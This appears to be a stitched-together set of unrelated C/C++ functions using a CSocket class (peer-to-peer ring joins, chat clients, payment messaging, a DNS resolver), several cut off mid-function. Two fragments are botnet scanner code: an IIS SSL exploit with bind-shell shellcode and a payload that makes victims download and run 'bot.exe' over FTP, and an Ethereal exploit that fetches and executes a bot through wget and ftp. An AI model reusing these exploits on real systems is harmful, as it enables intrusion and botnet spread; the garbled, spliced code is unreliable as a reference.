/* 更新新加入节点的前继节点的后继和后继的后继，
* 以及新加入节点的后继节点的前继和前继的前继
*/
void Join::update_neighbour()
{
theApp.scout<<"++++update neighbour++++"<<endl;
int suc = peer->fingerTable.sucId;
string sucIp = peer->fingerTable.sucIP;
int sucPort = peer->fingerTable.sucPort;
int pre = peer->fingerTable.preId;
string preIp = peer->fingerTable.preIP;
int prePort = peer->fingerTable.prePort;
//更新前继节点的后继和后继的后继
stringstream ss1,ss2,ss3,ss4,ss5,ss6;
ss1<<peer->fingerTable.port;ss2<<sucPort;ss3<<prePort;
ss4<<peer->getId();ss5<<suc;ss6<<pre;
string cmd = "newSuc " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss5.str() + " " + sucIp + " " + ss2.str();
CSocket socket;
socket.Connect(preIp.c_str(),prePort);
socket.WriteLine(cmd);
socket.Close();
//更新后继节点的前继和前继的前继
cmd = "newPre " + peer->fingerTable.ip + " " + ss1.str() + " " + ss4.str() + " " + ss6.str() + " " + preIp + " " + ss3.str();
socket.Connect(sucIp.c_str(),sucPort);
socket.WriteLine(cmd);
socket.Close();
//更新前继的前继和后继的后继，他们只需要部分字段
suc_suc_pre_pre();
}
/* 更新新加入节点的前继的前继和后继的后继
* 通过向前继节点发出yourpre命令找出前继的前继，向后继节点发出yoursuc命令找出后继的后继
*/
void Join::init_suc_suc_pre_pre()
{
//后继的后继
string cmd = "yoursuc";
CSocket socket;
socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort);
socket.WriteLine(cmd);
string k = socket.ReadLine();
vector<string> s = Tool::Split(k," ");
peer->fingerTable.sucsucIP = s[0];
peer->fingerTable.sucsucPort = atoi(s[1].c_str());
peer->fingerTable.sucsucId = atoi(s[2].c_str());
socket.Close();
theApp.scout<<"@@@@@@@@@@@@@@@"<<endl;
//前继的前继
cmd = "yourpre";
socket.Connect(peer->fingerTable.preIP.c_str(),peer->fingerTable.prePort);
socket.WriteLine(cmd);
k = socket.ReadLine();
s = Tool::Split(k," ");
peer->fingerTable.prepreIP = s[0];
peer->fingerTable.preprePort = atoi(s[1].c_str());
peer->fingerTable.prepreId = atoi(s[2].c_str());
socket.Close();
}
int main(int argc, char* argv[]){
CSocket csocket;
cout<<"Input The Server IP: ";
cin>>serverIp;
bool connect=csocket.Connect(serverIp,serverPort);
csocket.SetBlocking(false);
if(connect)
{
csocket.printTime();cout<<"connected"<<endl;
uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程
while(1)
{
char buf[BUF_LEN];
cin>>buf;
csocket.Send(buf,strlen(buf));
if(csocket.IsExit())
{
csocket.Close();
cout<<"exit success"<<endl;
break;
}
}
}else
{
void SendNotification(CModule& module, const CString& sSender, const CString& sNotification, const CChan *pChannel) {
// todo parse from m_sPushEndpoint
bool bUseTLS = true;
CString sHostname = "api.palaverapp.com";
unsigned short uPort = 443;
CString sPath = "/1/push";
CString sJSON = "{";
sJSON += "\"message\": \"" + sNotification.Replace_n("\"", "\\\"") + "\"";
sJSON += ",\"sender\": \"" + sSender.Replace_n("\"", "\\\"") + "\"";
if (pChannel) {
sJSON += ",\"channel\": \"" + pChannel->GetName().Replace_n("\"", "\\\"") + "\"";
}
sJSON += "}";
CSocket *pSocket = new CSocket(&module);
pSocket->Connect(sHostname, uPort, bUseTLS);
pSocket->Write("POST " + sPath + " HTTP/1.1\r\n");
pSocket->Write("Host: " + sHostname + "\r\n");
pSocket->Write("Authorization: Bearer " + GetToken() + "\r\n");
pSocket->Write("Connection: close\r\n");
pSocket->Write("User-Agent: ZNC\r\n");
pSocket->Write("Content-Type: application/json\r\n");
pSocket->Write("Content-Length: " + CString(sJSON.length()) + "\r\n");
pSocket->Write("\r\n");
pSocket->Write(sJSON);
pSocket->Close(Csock::CLT_AFTERWRITE);
module.AddSocket(pSocket);
}
void CTcpClientDlg::OnGetSource()
{
CSocket s;
if(!s.Create()) {
AfxMessageBox("소켓 생성 실패");
return;
}
if(!s.Connect("www.google.com", 80)) {
AfxMessageBox("접속 실패!");
return ;
}
//GET 명령으로 데이터를 얻어옴
//GET 명령 형식 : GET 대상URL HTTP/1.0 <enter><enter>
char * cmd = "GET / HTTP/1.0\r\n\r\n";
s.Send(cmd, strlen(cmd));
char buf[100];
ZeroMemory(buf, 100);
while(s.Receive(buf, 1000)) {
AfxMessageBox(buf);
ZeroMemory(buf, 1000);
}
}
void CEditServer::OnGetcgi()
{
CSocket socket;
CArchive*in;
CArchive*out;
CSocketFile* pFile;
if (!socket.Create())
{
return;
}
while (!socket.Connect(GETCGI_HOST,GETCGI_PORT))
{
return;
}
pFile = new CSocketFile(&socket);
in = new CArchive(pFile,CArchive::load);
out = new CArchive(pFile,CArchive::store);
CString str= "GET ";
str += GETCGI_PATH;
str += " HTTP/1.0\n\n";
out->Write(str, str.GetLength());
out->Flush();
CString line;
int count=0;
CString n,h,p;
while (in->ReadString(line)) {
int c=line.Find("####");
if (c==-1)
continue;
n=line.Left(c);
line=line.Mid(c+4);
c=line.Find("####");
if (c==-1)
continue;
h=line.Left(c);
p=line.Mid(c+4);
m_name[count]=n;
m_host[count]=h;
m_port[count]=atoi(p);
count++;
}
if (count!=0)
m_count=count;
in->Close();
out->Close();
pFile->Close();
socket.Close();
delete out;
delete in;
delete pFile;
UpdateList();
m_list.SetCurSel(0);
return;
}
/*更新前继的前继和后继的后继*/
void Join::suc_suc_pre_pre()
{
CSocket socket;
socket.Connect(peer->fingerTable.sucsucIP.c_str(),peer->fingerTable.sucsucPort);
string cmd = "set_your_pre_pre ";
stringstream ss,ss1;ss<<peer->getId();ss1<<peer->getPort();
cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
socket.WriteLine(cmd);
socket.Close();
socket.Connect(peer->fingerTable.prepreIP.c_str(),peer->fingerTable.preprePort);
cmd = "set_your_suc_suc ";
cmd += (ss.str() + " " + peer->getLocalIp() + " " + ss1.str());
socket.WriteLine(cmd);
socket.Close();
}
BOOL TestConnection( LPCTSTR lpstrAddress, int nPort)
{
CSocket* pSocket;
pSocket = new CSocket;
ASSERT(pSocket);
if (!pSocket->Create())
{
delete pSocket;
pSocket = NULL;
return FALSE;
}
while (!pSocket->Connect( lpstrAddress, nPort))
{
delete pSocket;
pSocket = NULL;
return FALSE;
}
pSocket->Close();
delete pSocket;
return TRUE;
}
void CNetworkTalkClientDlg::OnBtnSend()
{
// TODO: Add your control notification handler code here
CSocket sockClient;
sockClient.Create();
sockClient.Connect(m_serverIPAddress,8000);
g_serverIPAddress=m_serverIPAddress;
sockClient.Send(m_sendText,m_sendText.GetLength());
sockClient.Close();
}
/*根据ip和port来寻找pre*/
string Join::findPre(string ip, int port)
{
CSocket socket;
socket.Connect(ip.c_str(),port);//连接服务器
string cmd = "yourpre";
socket.WriteLine(cmd);
//读取查询结果
string result = socket.ReadLine();
theApp.scout<<result<<endl;
return result;
}
/*在要连接的节点的后继节点链表中，找出离新节点最近且是新节点的前继的节点*/
string Join::findClosestPrecedingFinger(int id, string remoteIp, int remotePort)
{
stringstream ss;
ss<<id;
string cmd = "closestprecedingfinger " + ss.str();
CSocket socket;
socket.Connect(remoteIp.c_str(),remotePort);
socket.WriteLine(cmd);
//读取查询结果
string result = socket.ReadLine();
theApp.scout<<result<<endl;
return result;
}
bool CScannerHTTP::ExploitIISSSL(int iHTTPType) {
unsigned int i;
unsigned char *badbuf, *p;
unsigned long offset=0x6741a1cd, XOR=0xffffffff;
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue >= 2) {
SendLocal("%s: scanning ip %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
char sslshit[]="\x80\x62\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x82\x01\x00\x00\x00";
/* hidden cmd.exe, bind port 1981 */
char shellcode[]="\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x9E\x24\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";
badbuf=(unsigned char*)malloc(347); memset(badbuf, 0, 347);
p=badbuf; memcpy(p, sslshit, sizeof(sslshit));
p+=sizeof(sslshit)-1; strcat((char*)p, jumper);
strcat((char*)p, greetings_to_microsoft);
offset^=XOR; strncat((char*)p, (char*)&offset, 4);
strcat((char*)p, shellcode);
if(!m_sSocket.Write((char*)badbuf, 346)) { m_sSocket.Disconnect(); return false; }
Sleep(1000); CSocket outSocket;
if(!outSocket.Connect(m_sSocket.m_szHost, 1981)) {
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2)
SendLocal("%s: Not vulnerable: %s", m_sScannerName.CStr(), m_sSocket.m_szHost);
m_sSocket.Disconnect(); return false; }
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* Thanks to PhaTTy for this piece of code :) */
char mkdir_buff[400]="";
int iPort=g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
sprintf(mkdir_buff, "echo open %s %d > bla.txt\necho user blah blah >> bla.txt\necho binary >> bla.txt\necho get %s >> bla.txt\necho quit >> bla.txt\nftp.exe -n -s:bla.txt\n%s\n",
g_pMainCtrl->m_pIRC->m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe");
char szRecvBuf[8192];
if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
Sleep(500);
if(!outSocket.Write((char *) mkdir_buff, sizeof(mkdir_buff))) {
m_sSocket.Disconnect(); outSocket.Disconnect(); return false; }
/* successful!!! */
if(g_pMainCtrl->m_pBot->scaninfo_level.iValue>=2) {
SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); }
m_sSocket.Disconnect(); return true; }
/*
* 新节点加入拓扑时，需要把本属于它的key的hash从别的节点上转移过来
*/
void Join::transfer_keys()
{
theApp.scout<<"++++ In the transfer key++++"<<endl;
int sucId = peer->fingerTable.sucId;
string sucIp = peer->fingerTable.sucIP;
int sucPort = peer->fingerTable.sucPort;
stringstream ss1,ss2,ss3,ss4;ss1<<peer->fingerTable.port;ss2<<peer->getId();ss3<<peer->fingerTable.preId;
string cmd = "transfer_key " + peer->fingerTable.ip + " " + ss1.str() + " " + ss2.str() + " " + ss3.str();
if (sucId == peer->getId())
return;
CSocket socket;
socket.Connect(peer->fingerTable.sucIP.c_str(),peer->fingerTable.sucPort);
socket.WriteLine(cmd);
socket.Close();
}
int main(int argc, char* argv[]){
CSocket csocket;
CPacket packet;
int Command;
char* sendMessage = new char[BUF_LEN];
parse_arguments(argc, argv);
if (!s_serverPort) {
cout<<"! The server port number is not defined."<<endl;
usage(argv[0]);
return 1;
}
if (!s_serverIP) {
cout<<"! The server ip address is not defined"<<endl;
usage(argv[0]);
return 1;
}
bool connect=csocket.Connect(s_serverIP,s_serverPort);
csocket.SetBlocking(false);//设置阻塞模式
//on_login_reply(!connect);
if(connect)
{
cout<<"Connect the server success,please login."<<endl;
show_prompt();
uintptr_t threadId=_beginthread(recv,0,&csocket);//启动一个线程接收数据的线程
while(1)
{
char buf[BUF_LEN];
cin>>buf;
if (Command = packet.paseArguement(buf))
{
memset(sendMessage, 0, 1024);
sendMessage = packet.getCommand(Command);
}
show_prompt();
csocket.Send(sendMessage,sizeof(buf));
//csocket.Receive(64);
if(csocket.IsExit())
{
csocket.Close();
cout<<"exit success"<<endl;
break;
}
}
}
else
{
bool CScannerEthereal::Exploit() {
if(!IsPrivate(g_pMainCtrl->m_pIRC->m_sLocalIp.CStr()) && IsPrivate(m_sSocket.m_szHost)) return false;
// We need root to exploit this cause we need to spoof packets
if(getuid()) return false;
ExploitInt(0); ExploitInt(1); ExploitInt(2); ExploitInt(3);
CSocket sShellSocket; if(sShellSocket.Connect(m_sSocket.m_szHost, 31337)) {
CString sCmdBuf; sShellSocket.RecvTO(sCmdBuf.GetBuffer(8192), 8192, 2000);
sCmdBuf.Format("echo -e open %s %d\\nuser ftp bla\\nget bot\\nquit\\n | ftp -n\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sCmdBuf.Format("wget ftp://bla:bla@%s:%d/bot\n", g_pMainCtrl->m_pIRC->m_sLocalHost.CStr(), g_pMainCtrl->m_pBot->bot_ftrans_port_ftp.iValue);
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sCmdBuf.Assign("chmod 777 ./bot ; ./bla\n");
sShellSocket.Write(sCmdBuf.CStr(), sCmdBuf.GetLength()); sShellSocket.Recv(sCmdBuf.GetBuffer(8192), 8192);
sShellSocket.Disconnect(); return true; } else return false; }
/* 更新环上每一个节点的FingerTable中的后继列表
*/
void Join::update_others()
{
theApp.scout<<"++++update others++++"<<endl;
int localId = peer->getId();
string localIp = peer->fingerTable.ip;
int localport = peer->fingerTable.port;
int suc = peer->fingerTable.sucId;
string sucIp = peer->fingerTable.sucIP;
int sucPort = peer->fingerTable.sucPort;
stringstream ss,ss1;ss<<localport;ss1<<localId;
string cmd = "new_node " + localIp + " " + ss.str() + " " + ss1.str();
CSocket socket;
socket.Connect(sucIp.c_str(),sucPort);
socket.WriteLine(cmd);
socket.Close();
}
void CTestThreadedServer::Process(SOCK sock)
{
// CConn_SocketStream's destructor will take care of closing sock.
CConn_SocketStream stream(sock, eTakeOwnership);
string message;
stream << "Hello!" << endl;
stream >> message;
stream << "Goodbye!" << endl;
if (message == "Goodbye!") {
m_ShutdownRequested = true;
// try to connect back because the request is asynchronous.
CSocket socket;
if (socket.Connect("localhost", GetPort()) == eIO_Success) {
socket.Close();
}
}
}
int Wusock()
{
CSocket sock;
int fd = sock.Connect("./USOCK");
if (fd < 0)
{
printf("Connect failed:%s \n", strerror(errno));
return -1;
}
gettimeofday(&time_c, NULL);
while (true)
{
if (_HandleSignal() < 0)
break;
gettimeofday(&time_a, NULL);
memcpy(wbuff, &time_a, sizeof(time_a));
nRet = write(fd, wbuff, g_len);
gettimeofday(&time_b, NULL);
if (nRet != g_len)
{
printf("write fialed %s\n", strerror(errno));
return -1;
}
g_count0++;
unsigned long long use_time0 = (time_b.tv_sec - time_a.tv_sec) * 1000000 + (time_b.tv_usec - time_a.tv_usec);
total_time0 += use_time0;
if(g_usleep > 0)
usleep(g_usleep);
}
double time = (time_b.tv_sec-time_c.tv_sec)*1000000 + (time_b.tv_usec - time_c.tv_usec);
double speed = (double)g_count0/time;
printf("speed:%lf unit/s \n", speed*1000000);
return 0;
}
int CPayment::SendPaymentData(LPCTSTR sfxm,LONG Money,LPCTSTR bz)
{
bool bIsStand = true;
szPayState = "3";//请求正在处理
//组包
CIso8583Package *package = new CIso8583Package();
if (package == NULL)
{
szPayState = "E7";
return -1; //不成功，返回错误码
}
char c48Field[255];
memset(c48Field,0,sizeof(c48Field));
if( strcmp(sfxm,"3001") == 0)
{
bIsStand = false;
const char *split = "|";
char *pTemp = new char[128];
strcpy(pTemp,bz);
char *pToken = strtok (pTemp,split);
if( pToken == NULL ) return -1;
int nOffset = strlen(pToken);
memcpy(c48Field,pToken,strlen(pToken));
pToken = strtok(NULL,"|");
if( pToken == NULL ) return -1;
memcpy(c48Field + nOffset,pToken,strlen(pToken));
nOffset += strlen(pToken);
pToken = strtok(NULL,"|");
if( pToken == NULL ) return -1;
memcpy(c48Field + nOffset,pToken,strlen(pToken));
nOffset += strlen(pToken);
pToken = strtok(NULL,"|");
if( pToken == NULL ) return -1;
memcpy(c48Field + nOffset,pToken,strlen(pToken));
nOffset += strlen(pToken);
package->SetFieldData(48,nOffset,(BYTE *)c48Field);//48域，目前随便填写，银联无法处理该业务
}
else
{//处理其他收费项目
int nOffset = 0;
nOffset = strlen(sfxm);
memcpy(c48Field,sfxm,nOffset);
memcpy(c48Field + nOffset,bz,strlen(bz));
nOffset += strlen(bz);
package->SetFieldData(48,nOffset,(BYTE *)c48Field);//48域，目前随便填写，银联无法处理该业务
}
int iRes = BuildPackage(package,Money);
if (iRes != 0)
{
szPayState = "E7";
return iRes; //组包不成功，返回错误码
}
BYTE cHeader[30];
int nOffset = 0;
AscToBcd(cHeader + nOffset,(unsigned char *)szTPDU.GetBuffer(),szTPDU.GetLength());
nOffset += szTPDU.GetLength() / 2;
AscToBcd(cHeader + nOffset,(unsigned char *)szHeader.GetBuffer(),szHeader.GetLength());
nOffset += szHeader.GetLength() / 2;
cHeader[nOffset] = 0x02;
nOffset += 1;
cHeader[nOffset] = 0x00;
nOffset += 1;
BYTE cData[512];
memset(cData,0,512);
unsigned int nLen = package->GetData(cData,512,cHeader,nOffset,false);
delete package;
char cLen[5] = {'\0'};
itoa_hex(nLen,cLen,2);
unsigned char cDataLen[3] = {'\0'};
AscToBcd(cDataLen,(unsigned char *)cLen,4);
BYTE cPackageData[512];
memset(cPackageData,0,sizeof(cPackageData));
memcpy(cPackageData,cDataLen,2);
memcpy(cPackageData + 2,cData,nLen);
TCHAR szCurPath[MAX_PATH];
GetCurrentDirectory(sizeof(szCurPath),szCurPath);
_tcscat(szCurPath,TEXT("\\Reversal.ini"));
CSocket client;
if( client.InitSocket() == FALSE)
{
szPayState = "E7";
return -1;
}
if( client.Connect(szServerIP,atoi(szPort)) == false)
{
szPayState = "E7";
return -1;
}
gLog.Log(cPackageData,nLen + 2);
client.Send(cPackageData,nLen + 2);
BYTE RecvData[1024];
memset(RecvData,0,1024);
nLen = client.Receive(RecvData,1024);
if(nLen != 0)
{
gLog.Log(RecvData,nLen);
CIso8583Parse *receivePackage = new CIso8583Parse();
char cResult[128];
memset(cResult,0,128);
Read8583Package(receivePackage,RecvData,39,2,(BYTE *)cResult);
delete receivePackage;
LONG lProCode = atol(szTraceCode.GetBuffer()) + 1;
unsigned char cAsciiBuff[12];
memset(cAsciiBuff,0,sizeof(cAsciiBuff));
BinToAsc(cAsciiBuff,lProCode,6);
WritePrivateProfileString(TEXT("TraceCode"),TEXT("TraceCode"),(char *)cAsciiBuff,szCurPath);
if(strcmp(cResult,"A0") == 0) //根据银联网络的说法，MAC错误也需要冲正
{
WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"A0",szCurPath);
WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"0",szCurPath);//0 -- 未处理
CReversalTransaction transaction;
transaction.SendReversalTransactionData();//冲正处理
}
else if( strcmp(cResult,"05") == 0)
{//认证失败
szPayState = "E2";
return -1;
}
else if( strcmp(cResult,"51") == 0)
{
szPayState = "E5";
return -1;
}
else if( strcmp(cResult, "55") == 0)
{
szPayState = "E2";
return -1;
}
else if( strcmp(cResult, "75") == 0)
{
szPayState = "E1";
return -1;
}
szPayState = "1";//交易成功
}
else
{//网络原因，消费冲正
szPayState = "E6";
WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"98",szCurPath);//POS终端在时限内未能收到POS中心的应答消息而引发
WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"0",szCurPath);//0 -- 未处理
CReversalTransaction transaction;
transaction.SendReversalTransactionData();//冲正处理
}
return 1;//交易成功
}
int CReversalTransaction::SendReversalTransactionData(char *pAccount,LONG Money,char *cTraceCode,char *cAck)
{
//组包
CIso8583Package *package = new CIso8583Package();
int iRes = BuildPackage(package,pAccount,Money,cTraceCode,cAck);
if (iRes != 0) return iRes; //组包不成功，返回错误码
BYTE cHeader[30];
int nOffset = 0;
AscToBcd(cHeader + nOffset,(unsigned char *)szTPDU.GetBuffer(),szTPDU.GetLength());
nOffset += szTPDU.GetLength() / 2;
AscToBcd(cHeader + nOffset,(unsigned char *)szHeader.GetBuffer(),szHeader.GetLength());
nOffset += szHeader.GetLength() / 2;
cHeader[nOffset] = 0x04;
nOffset += 1;
cHeader[nOffset] = 0x00;
nOffset += 1;
BYTE cData[512];
memset(cData,0,512);
unsigned int nLen = package->GetData(cData,512,cHeader,nOffset,false);
delete package;
char cLen[5] = {'\0'};
itoa_hex(nLen,cLen,2);
unsigned char cDataLen[3] = {'\0'};
AscToBcd(cDataLen,(unsigned char *)cLen,4);
BYTE cPackageData[512];
memset(cPackageData,0,sizeof(cPackageData));
memcpy(cPackageData,cDataLen,2);
memcpy(cPackageData + 2,cData,nLen);
CSocket client;
if( client.InitSocket() == FALSE) return -1;
if( client.Connect(szServerIP,atoi(szPort)) == false) return -1;
gLog.Log(cData,nLen);
client.Send(cData,nLen);
BYTE RecvData[1024];
memset(RecvData,0,1024);
nLen = client.Receive(RecvData,1024);
if(nLen != 0)
{
gLog.Log(RecvData,nLen);
CIso8583Parse *receivePackage = new CIso8583Parse();
char cResult[128];
memset(cResult,0,128);
Read8583Package(receivePackage,RecvData,39,2,(BYTE *)cResult);
delete receivePackage;
if(strcmp(cResult,"00") == 0)
{
TCHAR szCurPath[MAX_PATH];
GetCurrentDirectory(sizeof(szCurPath),szCurPath);
_tcscat(szCurPath,TEXT("\\Reversal.ini"));
WritePrivateProfileString(TEXT("Reversal"),TEXT("Account"),"",szCurPath);
WritePrivateProfileString(TEXT("Reversal"),TEXT("TraceCode"),"",szCurPath);
WritePrivateProfileString(TEXT("Reversal"),TEXT("Money"),"",szCurPath);
WritePrivateProfileString(TEXT("Reversal"),TEXT("Ack"),"",szCurPath);
WritePrivateProfileString(TEXT("Reversal"),TEXT("Flag"),"1",szCurPath);//1 -- 已处理
}
}
return 1;
}
CString ExecuteHTTPGet (const CString &sInput)
{
// Parse the input
char *pPos = sInput.GetParsePointer() + STR_HTTP_GET_PREFIX.GetLength();
// Parse the URL
CString sHost;
CString sPath;
if (!urlParse(pPos, NULL, &sHost, &sPath))
return CString("Invalid URL.");
// If no host, then local host
if (sHost.IsEmpty())
sHost = CString("localhost");
// Connect
CSocket theSocket;
if (!theSocket.Connect(sHost, 80))
return strPattern("Unable to connect to: %s.", sHost);
// Compose a request
CHTTPMessage Request;
Request.InitRequest(CString("GET"), sPath);
Request.AddHeader(HEADER_HOST, sHost);
Request.AddHeader(HEADER_CONNECTION, CString("keep-alive"));
#ifdef DEBUG_REQUEST_FRAGMENT_X
Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0 (This is a test of the header parsing system in Hexarc. There is probably a bug in which splitting the header across packets will cause failure of the HTTP parsing engine.)"));
#else
Request.AddHeader(HEADER_USER_AGENT, CString("AI1/1.0"));
#endif
// Send the request
CBuffer Buffer(4096);
Request.WriteToBuffer(Buffer);
#ifdef DEBUG_REQUEST_FRAGMENT
int iTotalLen = Buffer.GetLength();
int iSplit = 105;
if (iSplit < iTotalLen)
{
printf("Split at %d bytes\n", iSplit);
CString sPart(Buffer.GetPointer(), iSplit);
printf("%s\n", (LPSTR)sPart);
theSocket.Write(Buffer.GetPointer(), iSplit);
::Sleep(10);
theSocket.Write(Buffer.GetPointer() + iSplit, iTotalLen - iSplit);
}
else
theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#else
theSocket.Write(Buffer.GetPointer(), Buffer.GetLength());
#endif
// Now read the response. We build up a buffer to hold it.
CHTTPMessage Response;
CBuffer ResponseBuff;
// Keep reading until we've got enough (or until the connection drops)
while (!Response.IsMessageComplete())
{
CBuffer TempBuffer(8192);
// Read
int iBytesRead = theSocket.Read(TempBuffer.GetPointer(), 8192);
TempBuffer.SetLength(iBytesRead);
// If we're no making progress, then we're done
if (iBytesRead == 0)
return strPattern("Unable to read entire message.");
// Add to entire buffer
ResponseBuff.Write(TempBuffer.GetPointer(), iBytesRead);
// Parse to see if we're done
if (!Response.InitFromPartialBuffer(TempBuffer))
return strPattern("Unable to parse HTTP message.");
}
// Done
theSocket.Disconnect();
return CString(ResponseBuff.GetPointer(), ResponseBuff.GetLength());
}
boolean CDNSClient::Resolve (const char *pHostname, CIPAddress *pIPAddress)
{
assert (pHostname != 0);
if ('1' <= *pHostname && *pHostname <= '9')
{
return FALSE;
}
assert (m_pNetSubSystem != 0);
CIPAddress DNSServer (m_pNetSubSystem->GetConfig ()->GetDNSServer ()->Get ());
CSocket Socket (m_pNetSubSystem, IPPROTO_UDP);
if (Socket.Connect (DNSServer, 53) != 0)
{
return FALSE;
}
u8 Buffer[DNS_MAX_MESSAGE_SIZE];
memset (Buffer, 0, sizeof Buffer);
TDNSHeader *pDNSHeader = (TDNSHeader *) Buffer;
u16 nXID = s_nXID++;
pDNSHeader->nID = le2be16 (nXID);
pDNSHeader->nFlags = BE (DNS_FLAGS_OPCODE_QUERY | DNS_FLAGS_RD);
pDNSHeader->nQDCount = BE (1);
u8 *pQuery = Buffer + sizeof (TDNSHeader);
char Hostname[MAX_HOSTNAME_SIZE];
strncpy (Hostname, pHostname, MAX_HOSTNAME_SIZE-1);
Hostname[MAX_HOSTNAME_SIZE-1] = '\0';
char *pSavePtr;
size_t nLength;
char *pLabel = strtok_r (Hostname, ".", &pSavePtr);
while (pLabel != 0)
{
nLength = strlen (pLabel);
if ( nLength > 255
|| (int) (nLength+1+1) >= DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer))
{
return FALSE;
}
*pQuery++ = (u8) nLength;
strcpy ((char *) pQuery, pLabel);
pQuery += nLength;
pLabel = strtok_r (0, ".", &pSavePtr);
}
*pQuery++ = '\0';
TDNSQueryTrailer QueryTrailer;
QueryTrailer.nQType = BE (DNS_QTYPE_A);
QueryTrailer.nQClass = BE (DNS_QCLASS_IN);
if ((int) (sizeof QueryTrailer) > DNS_MAX_MESSAGE_SIZE-(pQuery-Buffer))
{
return FALSE;
}
memcpy (pQuery, &QueryTrailer, sizeof QueryTrailer);
pQuery += sizeof QueryTrailer;
int nSize = pQuery - Buffer;
assert (nSize <= DNS_MAX_MESSAGE_SIZE);
unsigned char RecvBuffer[DNS_MAX_MESSAGE_SIZE];
int nRecvSize;
unsigned nTry = 1;
do
{
if ( nTry++ > 3
|| Socket.Send (Buffer, nSize, 0) != nSize)
{
return FALSE;
}
CScheduler::Get ()->MsSleep (1000);
nRecvSize = Socket.Receive (RecvBuffer, DNS_MAX_MESSAGE_SIZE, MSG_DONTWAIT);
assert (nRecvSize < DNS_MAX_MESSAGE_SIZE);
}
while (nRecvSize < (int) (sizeof (TDNSHeader)+sizeof (TDNSResourceRecordTrailerAIN)));
pDNSHeader = (TDNSHeader *) RecvBuffer;
if ( pDNSHeader->nID != le2be16 (nXID)
|| (pDNSHeader->nFlags & BE ( DNS_FLAGS_QR
| DNS_FLAGS_OPCODE
| DNS_FLAGS_TC
| DNS_FLAGS_RCODE))
!= BE (DNS_FLAGS_QR | DNS_FLAGS_OPCODE_QUERY | DNS_RCODE_SUCCESS)
|| pDNSHeader->nQDCount != BE (1)
|| pDNSHeader->nANCount == BE (0))
{
return FALSE;
}
u8 *pResponse = RecvBuffer + sizeof (TDNSHeader);
// parse the query section
while ((nLength = *pResponse++) > 0)
{
pResponse += nLength;
